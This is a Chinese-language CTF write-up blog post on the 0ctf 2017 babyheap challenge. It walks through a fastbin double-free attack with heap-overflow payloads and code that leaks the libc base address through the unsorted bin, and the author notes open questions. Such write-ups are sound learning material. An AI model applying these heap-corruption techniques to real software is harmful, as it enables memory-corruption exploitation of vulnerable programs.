babyheap_0ctf_2017——堆入门1

看了几天wp才把泄露libc看懂大半部分,有几个疑点还是不清楚。

这道题是用fastbin attack,但我不知道为什么要这么用,还得多看看资料。

参考博客:https://bbs.pediy.com/thread-223461.htm

参考博客:https://www.cnblogs.com/luoleqi/p/12349714.html

知识点:利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力。

首先

 

 让你从5个选项中选择一个命令

 

 这是alloc命令,选择分配的大小,并且获得一个index

 

 这是fill函数,选择index和size,在输入内容

 

 这是free函数,选择index来释放函数

 

 

dump函数选择,index的内容输出

 

程序没有 uaf ,内存被释放后无法查看其中内容,可以通过 double free 获得指向 small bin 的 index,将其释放后 dump 出来。

 

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)

查看一下堆

 

 

 

 可以看到,块2指向块1,由于前面提到的原因,所以我们需要double free来获取指向small bin的指针

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

填充块1,与块2,并且修改块2的fd使其指向块申请的small bin

 

 

由于块2的fd指针指向了small bin当我们free掉small bin的时候,会被当成fast bin给free掉,所以我们需要覆盖small bin的size,那么通过两次(因为fast bin是单链表)alloc,就可以small chunk放入fast bin中了,在将这个伪造的fast bin给取出来,获得他在这个程序里的index(不是bin的索引)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

allocate(0x10)

allocate(0x10)

可以查看此时的堆空间中,small bin变成了fast bin

 

 这样就有2个指针指向同一个chunk了,然后恢复其size大小,在释放掉(释放时,是当做small bin释放的),接着查看对应chunk的index就好了

payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78

log.info("libc_base: "+hex(libc_base))

unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

 

但这里我有一个疑问就是,为什么他的index是2,是因为覆盖之后,fast bin所指向的index变成了2吗,我还不知道怎么查看这个存储用户指向的chunk值,还得学一下这个才能明白

 

posted @ 2020-04-18 17:14  PYozo_free  阅读(2774)  评论(0编辑  收藏  举报